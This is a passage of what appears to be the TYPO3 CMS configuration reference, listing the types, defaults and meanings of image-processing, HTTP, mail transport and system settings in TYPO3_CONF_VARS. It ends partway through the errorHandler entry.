$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_effects']
type

bool

Default

false

If enabled, apply blur and sharpening in ImageMagick/GraphicMagick functions

processor_allowUpscaling

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_allowUpscaling']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_allowUpscaling']
type

bool

Default

true

If set, images can be scaled up if told so (in \TYPO3\CMS\Core\Imaging\GraphicalFunctions )

processor_allowFrameSelection

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_allowFrameSelection']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_allowFrameSelection']
type

bool

Default

true

If set, the [x] frame selector is appended to input filenames in stdgraphic. This speeds up image processing for PDF files considerably. Disable if your image processor or environment cant cope with the frame selection.

processor_allowTemporaryMasksAsPng

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_allowTemporaryMasksAsPng']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_allowTemporaryMasksAsPng']
type

bool

Default

false

This should be set if your processor supports using PNGs as masks as this is usually faster.

processor_stripColorProfileByDefault

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileByDefault']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileByDefault']
type

bool

Default

true

If set, the processor_stripColorProfileCommand is used with all processor image operations by default. See tsRef for setting this parameter explicitly for IMAGE generation.

processor_stripColorProfileCommand

Changed in version 11.5.35

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileCommand']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileCommand']
type

string

This option expected a string of command line parameters. The defined parameters had to be shell-escaped beforehand, while the new option processor_stripColorProfileParameters expects an array of strings that will be shell-escaped by TYPO3 when used.

The existing configuration will continue to be supported. Still, it is suggested to use the new configuration format, as the Install Tool is adapted to allow modification of the new configuration option only:

// Before
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileCommand'] = '+profile \'*\'';

// After
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileParameters'] = [
    '+profile',
    '*'
];
Copied!

processor_stripColorProfileParameters

New in version 11.5.35

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileParameters']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileParameters']
type

array of strings

Default

['+profile', '*']

Specifies the parameters to strip the profile information, which can reduce thumbnail size up to 60KB. Command can differ in IM/GM, IM also knows the -strip command. See imagemagick.org for details.

processor_colorspace

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_colorspace']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_colorspace']
type

text

Default

RGB

Specifies the colorspace to use. Some ImageMagick versions (like 6.7.0 and above) use the sRGB colorspace, so all images are darker then the original.

Possible Values: CMY, CMYK, Gray, HCL, HSB, HSL, HWB, Lab, LCH, LMS, Log, Luv, OHTA, Rec601Luma, Rec601YCbCr, Rec709Luma, Rec709YCbCr, RGB, sRGB, Transparent, XYZ, YCbCr, YCC, YIQ, YCbCr, YUV

processor_interlace

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_interlace']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_interlace']
type

text

Default

'None'

Specifies the interlace option to use. The result differs in different GM / IM versions. See manual of GraphicsMagick or ImageMagick for right option.

Possible values: None, Line, Plane, Partition

jpg_quality

$GLOBALS['TYPO3_CONF_VARS']['GFX']['jpg_quality']

$GLOBALS['TYPO3_CONF_VARS']['GFX']['jpg_quality']
type

int

Default

85

Default JPEG generation quality

HTTP - tune requests

HTTP configuration to tune how TYPO3 behaves on HTTP requests made by TYPO3. See Guzzle documentation for more background information on those settings.

allow_redirects

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['allow_redirects']

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['allow_redirects']
type

mixed

Mixed, set to false if you want to disallow redirects, or use it as an array to add more configuration values (see below).

strict

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['allow_redirects']['strict']

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['allow_redirects']['strict']
type

bool

Default

false

Whether to keep request method on redirects via status 301 and 302

TRUE
Strict RFC compliant redirects mean that POST redirect requests are sent as POST requests. This is needed for compatibility with RFC 2616)
FALSE
redirect POST requests with GET requests, needed for compatibility with most browsers

max

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['allow_redirects']['max']

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['allow_redirects']['max']
type

int

Default

5

Maximum number of tries before an exception is thrown.

cert

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['cert']

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['cert']
type

mixed

Default

null

Set to a string to specify the path to a file containing a PEM formatted client side certificate. See Guzzle option cert

connect_timeout

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['connect_timeout']

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['connect_timeout']
type

int

Default

10

Default timeout for connection in seconds. Exception will be thrown if connecting to a remote host takes longer then this timeout.

proxy

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['proxy']

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['proxy']
type

mixed

Default

null

Enter a single proxy server as string, for example 'proxy.example.org'

Multiple proxies for different protocols can be added separately as an array as authentication and port; see Guzzle documentation for details.

The configuration with an array must be made in the AdditionalConfiguration.php; see File AdditionalConfiguration.php for details.

ssl_key

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['ssl_key']

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['ssl_key']
type

mixed

Default

null

Local certificate and an optional passphrase, see Guzzle option ssl-key

timeout

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['timeout']

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['timeout']
type

int

Default

Default timeout for whole request. Exception will be thrown if sending the request takes more than this number of seconds.

Should be greater than the connection timeout or 0 to not set a limit.

verify

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['verify']

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['verify']
type

mixed

Default

true

Describes the SSL certificate verification behavior of a request, see Guzzle option verify

version

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['version']

$GLOBALS['TYPO3_CONF_VARS']['HTTP']['version']
type

text

Default

'1.1'

Default HTTP protocol version. Use either "1.0" or "1.1".

LOG - Logging configuration

$GLOBALS['TYPO3_CONF_VARS']['LOG'] holds the logging configuration. Have a look into the Logging chapter for more details.

You can find the default logging configuration shipped with TYPO3 in the file EXT:core/Configuration/DefaultConfiguration.php (GitHub).

MAIL settings

The following configuration variables can be used to configure settings for the sending mails by TYPO3:

format

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['format']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['format']
type

dropdown

Default

'both'

allowedValues
html
Send emails only in HTML format
txt
Send emails only in plain text format
both
Send emails in HTML and plain text format

The Mailer API allows to send out templated emails, which can be configured on a system-level to send out HTML-based emails or plain text emails, or emails with both variants.

layoutRootPaths

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['layoutRootPaths']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['layoutRootPaths']
type

array

Default
[
   0 => 'EXT:core/Resources/Private/Layouts/',
   10 => 'EXT:backend/Resources/Private/Layouts/'
]
Copied!

List of paths to look for layouts for templated emails. Should be specified as .txt and .html files.

partialRootPaths

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['partialRootPaths']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['partialRootPaths']
type

array

Default
[
   0 => 'EXT:core/Resources/Private/Partials/',
   10 => 'EXT:backend/Resources/Private/Partials/'
]
Copied!

List of paths to look for partials for templated emails. Should be specified as .txt and .html files.

templateRootPaths

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['templateRootPaths']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['templateRootPaths']
type

array

Default
[
   0 => 'EXT:core/Resources/Private/Templates/Email/',
   10 => 'EXT:backend/Resources/Private/Templates/Email/'
]
Copied!

List of paths to look for template files for templated emails. Should be specified as .txt and .html files.

validators

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['validators']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['validators']
type

array

Default

[\Egulias\EmailValidator\Validation\RFCValidation::class]

List of validators used to validate an email address.

Available validators are:

  • \Egulias\EmailValidator\Validation\DNSCheckValidation
  • \Egulias\EmailValidator\Validation\SpoofCheckValidation
  • \Egulias\EmailValidator\Validation\NoRFCWarningsValidation

or by implementing a custom validator.

transport

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport']
type

text

Default

'sendmail'

smtp
Sends messages over the (standardized) Simple Message Transfer Protocol. It can deal with encryption and authentication. Most flexible option, requires a mail server and configurations in transport_smtp_* settings below. Works the same on Windows, Unix and MacOS.
sendmail
Sends messages by communicating with a locally installed MTA - such as sendmail. See setting transport_sendmail_command bellow.
dsn
Sends messages with the Symfony mailer, see Symfony mailer documentation. Configure this mailer with the [MAIL][dsn] setting.
mbox
This doesnt send any mail out, but instead will write every outgoing mail to a file adhering to the RFC 4155 mbox format, which is a simple text file where the mails are concatenated. Useful for debugging the mail sending process and on development machines which cannot send mails to the outside. Configure the file to write to in the transport_mbox_file setting below
classname
Custom class which implements \Symfony\Component\Mailer\Transport\TransportInterface. The constructor receives all settings from the MAIL section to make it possible to add custom settings.

transport_smtp_server

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_server']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_server']
type

text

Default

'localhost:25'

only with transport=smtp serverport of mailserver to connect to. port defaults to "25".

transport_smtp_domain

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_domain']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_domain']
type

text

Default

''

Some smtp-relay-servers require the domain to be set from which the sender is sending an email. By default, the EsmtpTransport from Symfony will use the current domain/IP of the host or container. This will be sufficient for most servers, but some servers require that a valid domain is passed. If this isn't done, sending emails via such servers will fail.

Setting a valid SMTP domain can be achieved by setting transport_smtp_domain in the LocalConfiguration.php. This will set the given domain to the EsmtpTransport agent and send the correct EHLO-command to the relay-server.

Configuration Example for GSuite:

typo3conf/LocalConfiguration.php
return [
    //....
    'MAIL' => [
        'defaultMailFromAddress' => 'webserver@example.org',
        'defaultMailFromName' => 'SYSTEMMAIL',
        'transport' => 'smtp',
        'transport_sendmail_command' => ' -t -i ',
        'transport_smtp_domain' => 'example.org',
        'transport_smtp_encrypt' => '',
        'transport_smtp_password' => '',
        'transport_smtp_server' => 'smtp-relay.gmail.com:587',
        'transport_smtp_username' => '',
    ],
    //....
];
Copied!

transport_smtp_encrypt

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_encrypt']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_encrypt']
type

bool

Default

false

only with transport=smtp Connects to the server using SSL/TLS (disables STARTTLS which is used by default if supported by the server). Must not be enabled when connecting to port 587, as servers will use STARTTLS (inner encryption) via SMTP instead of SMTPS. It will automatically be enabled if port is 465.

transport_smtp_username

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_username']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_username']
type

text

Default

''

only with transport=smtp If your SMTP server requires authentication, enter your username here.

transport_smtp_password

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_password']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_password']
type

password

Default

''

only with transport=smtp If your SMTP server requires authentication, enter your password here.

transport_smtp_restart_threshold

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_restart_threshold']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_restart_threshold']
type

text

Default

''

only with transport=smtp Sets the maximum number of messages to send before re-starting the transport.

transport_smtp_restart_threshold_sleep

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_restart_threshold_sleep']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_restart_threshold_sleep']
type

text

Default

''

only with transport=smtp Sets the number of seconds to sleep between stopping and re-starting the transport.

transport_smtp_ping_threshold

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_ping_threshold']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_ping_threshold']
type

text

Default

''

only with transport=smtp Sets the minimum number of seconds required between two messages, before the server is pinged. If the transport wants to send a message and the time since the last message exceeds the specified threshold, the transport will ping the server first (NOOP command) to check if the connection is still alive. Otherwise the message will be sent without pinging the server first.

transport_sendmail_command

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_sendmail_command']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_sendmail_command']
type

text

Default

''

only with transport=sendmail The command to call to send a mail locally.

transport_mbox_file

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_mbox_file']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_mbox_file']
type

text

Default

''

only with transport=mbox The file where to write the mails into. This file will be conforming the mbox format described in RFC 4155. It is a simple text file with a concatenation of all mails. Path must be absolute.

transport_spool_type

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_type']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_type']
type

text

Default

''

file
Messages get stored to the file system till they get sent through the command mailer:spool:send.
memory
Messages get sent at the end of the running process.
classname
Custom class which implements the \TYPO3\CMS\Core\Mail\DelayedTransportInterface interface.

transport_spool_filepath

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_filepath']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_filepath']
type

text

Default

''

only with transport_spool_type=file Path where messages get temporarily stored. Ensure that this is stored outside of your webroot.

dsn

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['dsn']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['dsn']
type

text

Default

''

only with transport=dsn The DSN configuration of the Symfony mailer (for example smtp://userpass@smtp.example.org:25). Symfony provides different mail transports like SMTP, sendmail or many 3rd party email providers like AWS SES, Gmail, MailChimp, Mailgun and more. You can find all supported providers in the Symfony mailer documentation.

Set [MAIL][dsn] to the configuration value described in the Symfony mailer documentation (see above).

Examples:

  • $GLOBALS['TYPO3_CONF_VARS']['MAIL']['dsn'] = "smtp://user:pass@smtp.example.org:25"
  • $GLOBALS['TYPO3_CONF_VARS']['MAIL']['dsn'] = "sendmail://default"

defaultMailFromAddress

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailFromAddress']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailFromAddress']
type

text

Default

''

This default email address is used when no other "from" address is set for a TYPO3-generated email. You can specify an email address only (for example 'info@example.org)'.

defaultMailFromName

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailFromName']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailFromName']
type

text

Default

''

This default name is used when no other "from" name is set for a TYPO3-generated email.

defaultMailReplyToAddress

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailReplyToAddress']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailReplyToAddress']
type

text

Default

''

This default email address is used when no other "reply-to" address is set for a TYPO3-generated email. You can specify an email address only (for example 'info@example.org').

defaultMailReplyToName

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailReplyToName']

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailReplyToName']
type

text

Default

''

This default name is used when no other "reply-to" name is set for a TYPO3-generated email.

SYS - System configuration

The following configuration variables can be used for system wide configurations.

fileCreateMask

$GLOBALS['TYPO3_CONF_VARS']['SYS']['fileCreateMask']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['fileCreateMask']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

0664

File mode mask for Unix file systems (when files are uploaded/created).

folderCreateMask

$GLOBALS['TYPO3_CONF_VARS']['SYS']['folderCreateMask']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['folderCreateMask']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

2775

As above, but for folders.

createGroup

$GLOBALS['TYPO3_CONF_VARS']['SYS']['createGroup']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['createGroup']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

''

Group for newly created files and folders (Unix only). Group ownership can be changed on Unix file systems (see above). Set this if you want to change the group ownership of created files/folders to a specific group.

This makes sense in all cases where the webserver is running with a different user/group as you do. Create a new group on your system and add you and the webserver user to the group. Now you can safely set the last bit in fileCreateMask/folderCreateMask to 0 (for example 770). Important: The user who is running your webserver needs to be a member of the group you specify here! Otherwise you might get some error messages.

sitename

$GLOBALS['TYPO3_CONF_VARS']['SYS']['sitename']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['sitename']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

'TYPO3'

Name of the base-site.

defaultScheme

New in version 12.0

The setting defaultScheme was added in TYPO3 v12 to make it possible to configure the default URI scheme when links are created by the Core. Previously, 'http' was always used.

$GLOBALS['TYPO3_CONF_VARS']['SYS']['defaultScheme']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['defaultScheme']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

'http'

Set the default URI scheme. This is used within links if no scheme is given. One can set this to 'https' if this should be used by default.

encryptionKey

$GLOBALS['TYPO3_CONF_VARS']['SYS']['encryptionKey']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['encryptionKey']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

''

This is a "salt" used for various kinds of encryption, CRC checksums and validations. You can enter any rubbish string here but try to keep it secret. You should notice that a change to this value might invalidate temporary information, URLs etc. At least, clear all cache if you change this so any such information can be rebuilt with the new key.

cookieDomain

$GLOBALS['TYPO3_CONF_VARS']['SYS']['cookieDomain']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['cookieDomain']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

''

Restricts the domain name for FE and BE session cookies. When setting the value to ".example.org" (replace example.org with your domain!), login sessions will be shared across subdomains. Alternatively, if you have more than one domain with sub-domains, you can set the value to a regular expression to match against the domain of the HTTP request. This however requires that all sub-domains are within the same TYPO3 instance, because a session can be tied to only one database.

The result of the match is used as the domain for the cookie. for example : php:/\.(example1|example2)\.com$/ or /\.(example1\.com)|(example2\.net)$/. Separate domains for FE and BE can be set using $TYPO3_CONF_VARS[FE][cookieDomain] and $TYPO3_CONF_VARS[BE][cookieDomain] respectively.

trustedHostsPattern

$GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['trustedHostsPattern']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

'SERVER_NAME'

Regular expression pattern that matches all allowed hostnames (including their ports) of this TYPO3 installation, or the string SERVER_NAME (default).

The default value SERVER_NAME checks if the HTTP Host header equals the SERVER_NAME and SERVER_PORT. This is secure in correctly configured hosting environments and does not need further configuration. If you cannot change your hosting environment, you can enter a regular expression here.

Examples:

.*\.example\.org matches all hosts that end with .example.org with all corresponding subdomains.

.*\.example\.(org|com) matches all hostnames with subdomains from .example.org and .example.com.

Be aware that HTTP Host header may also contain a port. If your installation

runs on a specific port, you need to explicitly allow this in your pattern,

for example example\.org:88 allows only example.org:88, not example.org. To disable this check completely (not recommended because it is insecure) you can use .* as pattern.

Have also a look into the security guidelines.

devIPmask

$GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

'127.0.0.1,::1'

Defines a list of IP addresses which will allow development output to display. The debug() function will use this as a filter. See the function \TYPO3\CMS\Core\Utility\GeneralUtilitycmpIP() for details on syntax. Setting this to blank value will deny all. Setting to "*" will allow all.

Have also a look into the security guidelines.

ddmmyy

$GLOBALS['TYPO3_CONF_VARS']['SYS']['ddmmyy']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['ddmmyy']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

'd-m-y'

Format of Day-Month-Year - see PHP-function date()

hhmm

$GLOBALS['TYPO3_CONF_VARS']['SYS']['hhmm']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['hhmm']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

'H:i'

Format of Hours-Minutes - see PHP-function date()

$GLOBALS['TYPO3_CONF_VARS']['SYS']['USdateFormat']

USdateFormat

USdateFormat
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

bool

Default

false

If TRUE, dates entered in the TCEforms of the backend will be formatted mm-dd-yyyy

loginCopyrightWarrantyProvider

$GLOBALS['TYPO3_CONF_VARS']['SYS']['loginCopyrightWarrantyProvider']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['loginCopyrightWarrantyProvider']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

''

If you provide warranty for TYPO3 to your customers insert you (company) name here. It will appear in the login-dialog as the warranty provider. (You must also set URL below).

loginCopyrightWarrantyURL

$GLOBALS['TYPO3_CONF_VARS']['SYS']['loginCopyrightWarrantyURL']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['loginCopyrightWarrantyURL']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

''

Add the URL where you explain the extend of the warranty you provide. This URL is displayed in the login dialog as the place where people can learn more about the conditions of your warranty. Must be set (more than 10 chars) in addition with the loginCopyrightWarrantyProvider message.

textfile_ext

$GLOBALS['TYPO3_CONF_VARS']['SYS']['textfile_ext']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['textfile_ext']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

'txt,ts,typoscript,html,htm,css,tmpl,js,sql,xml,csv,xlf,yaml,yml'

Text file extensions. Those that can be edited. Executable PHP files may not be editable if disallowed!

mediafile_ext

$GLOBALS['TYPO3_CONF_VARS']['SYS']['mediafile_ext']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['mediafile_ext']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

'gif,jpg,jpeg,bmp,png,pdf,svg,ai,mp3,wav,mp4,ogg,flac,opus,webm,youtube,vimeo'

Commalist of file extensions perceived as media files by TYPO3. Must be written in lower case with no spaces between.

binPath

$GLOBALS['TYPO3_CONF_VARS']['SYS']['binPath']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['binPath']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

''

List of absolute paths where external programs should be searched for. for example /usr/local/webbin/,/home/xyz/bin/. (ImageMagick path have to be configured separately)

binSetup

$GLOBALS['TYPO3_CONF_VARS']['SYS']['binSetup']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['binSetup']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

multiline

Default

''

List of programs (separated by newline or comma). By default programs will be searched in default paths and the special paths defined by binPath. When PHP has openbasedir enabled, the programs can not be found and have to be configured here.

Example: perl=/usr/bin/perl,unzip=/usr/local/bin/unzip

setMemoryLimit

$GLOBALS['TYPO3_CONF_VARS']['SYS']['setMemoryLimit']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['setMemoryLimit']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

int

Default

Memory limit in MB: If more than 16, TYPO3 will try to use ini_set() to set the memory limit of PHP to the value. This works only if the function ini_set() is not disabled by your sysadmin.

phpTimeZone

$GLOBALS['TYPO3_CONF_VARS']['SYS']['phpTimeZone']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['phpTimeZone']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

''

Timezone to force for all date() and mktime() functions. A list of supported values can be found at php.net.

If blank, a valid fallback will be searched for by PHP (php.inis date.timezone setting, server defaults, etc); and if no fallback is found, the value of "UTC" is used instead.

UTF8filesystem

$GLOBALS['TYPO3_CONF_VARS']['SYS']['UTF8filesystem']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['UTF8filesystem']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

bool

Default

false

If TRUE then TYPO3 uses utf-8 to store file names. This allows for accented latin letters as well as any other non-latin characters like Cyrillic and Chinese.

IMPORTANT This requires a UTF-8 compatible locale in order to work. Otherwise problems with filenames containing special characters will occur. See [SYS][systemLocale] and php function setlocale().

systemLocale

$GLOBALS['TYPO3_CONF_VARS']['SYS']['systemLocale']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['systemLocale']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

''

Locale used for certain system related functions, for example escaping shell commands. If problems with filenames containing special characters occur, the value of this option is probably wrong. See php function setlocale().

reverseProxyIP

$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyIP']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyIP']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

list

Default

''

List of IP addresses. If TYPO3 is behind one or more (intransparent) reverse proxies the IP addresses must be added here.

reverseProxyHeaderMultiValue

$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyHeaderMultiValue']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyHeaderMultiValue']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

allowedValues
none
Do not evaluate the reverse proxy header
first
Use the first IP address in the proxy header
last
Use the last IP address in the proxy header
Default

'none'

Defines which values of a proxy header (for example HTTP_X_FORWARDED_FOR) to use, if more than one is found.

reverseProxyPrefix

$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyPrefix']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyPrefix']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

''

Optional prefix to be added to the internal URL (SCRIPT_NAME and REQUEST_URI).

Example: When proxying external.example.org to internal.example.org/prefix this has to be set to prefix

reverseProxySSL

$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxySSL']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxySSL']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

''

* or a list of IP addresses of proxies that use SSL (https) for the connection to the client, but an unencrypted connection (http) to the server. If php:* all proxies defined in [SYS][reverseProxyIP] use SSL.

reverseProxyPrefixSSL

$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyPrefixSSL']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyPrefixSSL']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

text

Default

''

Prefix to be added to the internal URL (SCRIPT_NAME and REQUEST_URI) when accessing the server via an SSL proxy. This setting overrides [SYS][reverseProxyPrefix].

$GLOBALS['TYPO3_CONF_VARS']['SYS']['defaultCategorizedTables']

defaultCategorizedTables

defaultCategorizedTables
type

list

Default

''

List of comma separated tables that are categorizable by default.

displayErrors

$GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

int

Default

-1

allowedValues
-1
TYPO3 does not touch the PHP setting. If [SYS][devIPmask] matches the users IP address, the configured [SYS][debugExceptionHandler] is used instead of the [SYS][productionExceptionHandler] to handle exceptions.
0
Live: Do not display any PHP error message. Sets display_errors=0. Overrides the value of [SYS][exceptionalErrors] and sets it to 0 (= no errors are turned into exceptions). The configured [SYS][productionExceptionHandler] is used as exception handler.
1
Debug: Display error messages with the registered [SYS][errorHandler]. Sets display_errors=1. The configured [SYS][debugExceptionHandler] is used as exception handler.

Configures whether PHP errors or exceptions should be displayed, effectively setting the PHP option display_errors during runtime.

Have also a look into the security guidelines.

productionExceptionHandler

$GLOBALS['TYPO3_CONF_VARS']['SYS']['productionExceptionHandler']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['productionExceptionHandler']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

phpClass

Default

\TYPO3\CMS\Core\Error\ProductionExceptionHandler::class

Classname to handle exceptions that might happen in the TYPO3-code. Leave this empty to disable exception handling. The default exception handler displays a nice error message when something goes wrong. The error message is logged to the configured logs.

Note: The configured "productionExceptionHandler" is used if [SYS][displayErrors] is set to "0" or is set to "-1" and [SYS][devIPmask] doesnt match the user's IP.

debugExceptionHandler

$GLOBALS['TYPO3_CONF_VARS']['SYS']['debugExceptionHandler']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['debugExceptionHandler']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

phpClass

Default

\TYPO3\CMS\Core\Error\DebugExceptionHandler::class

Classname to handle exceptions that might happen in the TYPO3 code. Leave empty to disable the exception handling. The default exception handler displays the complete stack trace of any encountered exception. The error message and the stack trace is logged to the configured logs.

Note: The configured "debugExceptionHandler" is used if [SYS][displayErrors] is set to "1" or is set to "-1" or "2" and the [SYS][devIPmask] matches the users IP.

errorHandler

$GLOBALS['TYPO3_CONF_VARS']['SYS']['errorHandler']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['errorHandler']
Path

